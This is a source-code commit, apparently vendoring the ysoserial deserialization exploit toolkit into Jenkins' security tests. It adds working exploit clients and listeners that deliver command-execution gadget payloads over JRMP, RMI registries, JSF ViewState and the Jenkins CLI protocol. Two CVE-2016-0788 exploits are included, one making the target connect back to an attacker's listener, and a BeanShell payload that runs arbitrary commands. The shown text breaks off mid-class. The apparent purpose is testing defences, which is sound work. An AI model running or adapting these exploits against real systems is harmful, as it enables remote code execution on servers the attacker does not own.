提交 8395b78c 编写于 作者: S Sam Van Oort

Mostly working ysoserial updates

上级 0f5e70f1
......@@ -183,6 +183,11 @@ THE SOFTWARE.
<artifactId>mockito-core</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.reflections</groupId>
<artifactId>reflections</artifactId>
<version>0.9.9</version>
</dependency>
<dependency>
<groupId>org.netbeans.modules</groupId>
<artifactId>org-netbeans-insane</artifactId>
......
package jenkins.security.security218.ysoserial;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.concurrent.Callable;
public class Deserializer implements Callable<Object> {
private final byte[] bytes;
public Deserializer(byte[] bytes) { this.bytes = bytes; }
public Object call() throws Exception {
return deserialize(bytes);
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
public static void main(String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Object object = deserialize(in);
}
}
\ No newline at end of file
package jenkins.security.security218.ysoserial;
import java.io.PrintStream;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
@SuppressWarnings("rawtypes")
public class GeneratePayload {
private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64;
public static void main(final String[] args) {
if (args.length != 2) {
printUsage();
System.exit(USAGE_CODE);
}
final String payloadType = args[0];
final String command = args[1];
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
return; // make null analysis happy
}
try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
PrintStream out = System.out;
Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
}
System.exit(0);
}
private static void printUsage() {
System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'");
System.err.println("\tAvailable payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass)));
}
}
public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
}
}
package jenkins.security.security218.ysoserial;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.util.concurrent.Callable;
public class Serializer implements Callable<byte[]> {
private final Object object;
public Serializer(Object object) {
this.object = object;
}
public byte[] call() throws Exception {
return serialize(object);
}
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
}
\ No newline at end of file
package jenkins.security.security218.ysoserial.exploit;
import java.net.URL;
/**
* JRMP listener triggering RMI remote classloading
*
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
*
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
* access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}.
*
* This only works if
* - the remote end is running with a security manager
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
*
* and, of course, the payload class is then run under the security manager with a remote codebase
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
* with a security manager bypass exploit (wouldn't be the first time).
*
* @author mbechler
*
*/
public class JRMPClassLoadingListener {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
System.exit(-1);
return;
}
try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
}
package jenkins.security.security218.ysoserial.exploit;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.UnknownHostException;
import javax.net.SocketFactory;
import sun.rmi.transport.TransportConstants;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils;
/**
* Generic JRMP client
*
* Pretty much the same thing as {@link RMIRegistryExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPClient {
public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
String hostname = args[ 0 ];
int port = Integer.parseInt(args[ 1 ]);
try {
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
makeDGCCall(hostname, port, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
Utils.releasePayload(args[2], payloadObject);
}
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject);
os.flush();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream (OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream ( OutputStream out ) throws IOException {
super(out);
}
@Override
protected void annotateClass ( Class<?> cl ) throws IOException {
if ( this.sendUrl != null ) {
writeObject(this.sendUrl.toString());
} else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
writeObject(null);
}
else {
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
String cb = "";
for ( URL u : us ) {
cb += u.toString();
}
writeObject(cb);
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass ( Class<?> cl ) throws IOException {
annotateClass(cl);
}
}
}
package jenkins.security.security218.ysoserial.exploit;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.io.Serializable;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.transport.TransportConstants;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
/**
* Generic JRMP listener
*
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPListener implements Runnable {
private int port;
private Object payloadObject;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public boolean waitFor ( int i ) {
try {
if ( this.hadConnection ) {
return true;
}
System.err.println("Waiting for connection");
synchronized ( this.waitLock ) {
this.waitLock.wait(i);
}
return this.hadConnection;
}
catch ( InterruptedException e ) {
return false;
}
}
/**
*
*/
public void close () {
this.exit = true;
try {
this.ss.close();
}
catch ( IOException e ) {}
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
}
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}
public void run () {
try {
Socket s = null;
try {
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();
short version = in.readShort();
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte();
switch ( protocol ) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if ( remote.getHostName() != null ) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
}
catch ( InterruptedException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
System.err.println("Closing connection");
s.close();
}
}
}
finally {
if ( s != null ) {
s.close();
}
if ( this.ss != null ) {
this.ss.close();
}
}
}
catch ( SocketException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
System.err.println("Reading message...");
int op = in.read();
switch ( op ) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID u = UID.read(in);
break;
default:
throw new IOException("unknown transport op " + op);
}
s.close();
}
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ( "java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
}
catch ( java.io.IOException e ) {
throw new MarshalException("unable to read objID", e);
}
if ( read.hashCode() == 2 ) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
}
System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex);
oos.flush();
out.flush();
this.hadConnection = true;
synchronized ( this.waitLock ) {
this.waitLock.notifyAll();
}
}
protected static Object makeDummyObject (String className) {
try {
ClassLoader isolation = new ClassLoader() {};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}
public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
}
}
package jenkins.security.security218.ysoserial.exploit;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import org.apache.commons.codec.binary.Base64;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils;
/**
* JSF view state exploit
*
* Delivers a gadget payload via JSF ViewState token.
*
* This will only work if ViewState encryption/mac is disabled.
*
* While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets.
*
* Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object).
*
* @author mbechler
*
*/
public class JSF {
public static void main ( String[] args ) {
if ( args.length < 3 ) {
System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
System.exit(-1);
}
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try {
URL u = new URL(args[ 0 ]);
URLConnection c = u.openConnection();
if ( ! ( c instanceof HttpURLConnection ) ) {
throw new IllegalArgumentException("Not a HTTP url");
}
HttpURLConnection hc = (HttpURLConnection) c;
hc.setDoOutput(true);
hc.setRequestMethod("POST");
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
OutputStream os = hc.getOutputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payloadObject);
oos.close();
byte[] data = bos.toByteArray();
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
os.write(requestBody.getBytes("US-ASCII"));
os.close();
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}
}
package jenkins.security.security218.ysoserial.exploit;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
import javax.net.SocketFactory;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils;
/**
* Jenkins CLI client
*
* Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting
* application level filter.
*
* This is a generic client delivering a gadget chain payload via that protocol.
*
* @author mbechler
*
*/
public class JenkinsCLI {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <payload_arg>");
System.exit(-1);
}
final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
String jenkinsUrl = args[ 0 ];
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
c.call(getPropertyCallable(payloadObject));
}
catch ( Throwable e ) {
e.printStackTrace();
}
finally {
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
}
Utils.releasePayload(args[1], payloadObject);
}
public static Callable<?, ?> getPropertyCallable ( final Object prop )
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
reqCons.setAccessible(true);
Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
prop
});
return (Callable<?, ?>) getJarLoader;
}
public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException {
URL u = new URL(jenkinsUrl);
URLConnection conn = u.openConnection();
if ( ! ( conn instanceof HttpURLConnection ) ) {
System.err.println("Not a HTTP URL");
throw new MalformedURLException();
}
HttpURLConnection hc = (HttpURLConnection) conn;
if ( hc.getResponseCode() >= 400 ) {
System.err.println("* Error connection to jenkins HTTP " + u);
}
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
return new InetSocketAddress(u.getHost(), clip);
}
public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException {
System.err.println("* Opening socket " + isa);
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
System.err.println("* Opening channel");
OutputStream outputStream = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
public Thread newThread ( Runnable r ) {
Thread t = new Thread(r, "Channel");
t.setDaemon(true);
return t;
}
});
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
System.err.println("* Channel open");
return c;
}
}
package jenkins.security.security218.ysoserial.exploit;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
import javax.net.SocketFactory;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.JarLoader;
import sun.rmi.server.Util;
import sun.rmi.transport.TransportConstants;
import jenkins.security.security218.ysoserial.payloads.JRMPListener;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
/**
* CVE-2016-0788 exploit (1)
*
* 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
*
* Extra twist:
* The well-known objects exported by the listener use the system classloader which usually
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
* (which is using jenkins' classloader) that typically is properly randomized.
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
* that identifier via an exception.
*
* @author mbechler
*/
@SuppressWarnings ( {
"rawtypes", "restriction"
} )
public class JenkinsListener {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <payload_type> <payload_arg>");
System.exit(-1);
}
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
System.err.println("Invalid payload type '" + args[ 1 ] + "'");
System.exit(-1);
}
String jenkinsUrl = args[ 0 ];
int jrmpPort = 12345;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
InvocationHandler remote = Proxy.getInvocationHandler(call);
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
System.err.println("* JarLoader oid is " + oid);
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
try {
c.call((Callable<?, ?>) o);
}
catch ( Exception e ) {
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
// -9046794842107247609]]
System.err.println(e.getMessage());
parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e);
}
}
catch ( Throwable e ) {
e.printStackTrace();
}
finally {
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
}
}
private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
reqCons.setAccessible(true);
return reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
uro,
});
}
private static void parseObjIdAndExploit ( final String[] args, final Class<? extends ObjectPayload> payloadClass, int jrmpPort,
InetSocketAddress isa, Exception e ) throws Exception, IOException {
String msg = e.getMessage();
int start = msg.indexOf("objID:[");
if ( start < 0 ) {
throw new Exception("Failed to get object id");
}
int sep = msg.indexOf(", ", start + 1);
if ( sep < 0 ) {
throw new Exception("Failed to get object id, separator");
}
int end = msg.indexOf("]", sep + 1);
if ( end < 0 ) {
throw new Exception("Failed to get object id, separator");
}
String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid);
System.err.println("* ObjNum is " + objNum);
String[] parts = uid.split(":");
long obj = Long.parseLong(objNum);
int o1 = Integer.parseInt(parts[ 0 ], 16);
long o2 = Long.parseLong(parts[ 1 ], 16);
short o3 = Short.parseShort(parts[ 2 ], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]);
}
private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class<?> payloadClass, String payloadArg )
throws IOException {
Socket s = null;
DataOutputStream dos = null;
try {
System.err.println("* Opening JRMP socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
objOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3);
objOut.writeInt(-1);
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance();
final Object object = payload.getObject(payloadArg);
objOut.writeObject(object);
os.flush();
ObjectPayload.Utils.releasePayload(payload, object);
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
}
package jenkins.security.security218.ysoserial.exploit;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.rmi.registry.Registry;
import java.util.Random;
import hudson.remoting.Channel;
import jenkins.security.security218.ysoserial.exploit.JRMPListener;
import jenkins.security.security218.ysoserial.payloads.JRMPClient;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils;
/**
* CVE-2016-0788 exploit (2)
*
* - Sets up a local {@link JRMPListener}
* - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol
* that will cause the remote to open a JRMP connection to our listener
* - upon connection the specified payload will be delivered to the remote
* (that will deserialize using a default ObjectInputStream)
*
* @author mbechler
*
*/
public class JenkinsReverse {
public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <payload_type> <payload_arg>");
System.exit(-1);
}
final Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
String myAddr = args[ 1 ];
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
String jenkinsUrl = args[ 0 ];
Thread t = null;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
t = new Thread(listener, "ReverseDGC");
t.setDaemon(true);
t.start();
Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort);
c.call(JenkinsCLI.getPropertyCallable(payload));
listener.waitFor(1000);
listener.close();
}
catch ( Throwable e ) {
e.printStackTrace();
}
finally {
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
if ( t != null ) {
t.interrupt();
try {
t.join();
}
catch ( InterruptedException e ) {
e.printStackTrace(System.err);
}
}
}
Utils.releasePayload(args[2], payloadObject);
}
}
package jenkins.security.security218.ysoserial.exploit;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.Callable;
import jenkins.security.security218.ysoserial.payloads.CommonsCollections1;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils;
import jenkins.security.security218.ysoserial.payloads.util.Gadgets;
import jenkins.security.security218.ysoserial.secmgr.ExecCheckingSecurityManager;
/*
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
* Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.
*
* TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
* interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
*/
@SuppressWarnings({"rawtypes", "unchecked"})
public class RMIRegistryExploit {
public static void main(final String[] args) throws Exception {
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[3];
final Registry registry = LocateRegistry.getRegistry(host, port);
final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
// ensure payload doesn't detonate during construction or deserialization
exploit(registry, payloadClass, command);
}
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
}
package jenkins.security.security218.ysoserial.payloads;
import bsh.Interpreter;
import bsh.XThis;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" })
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
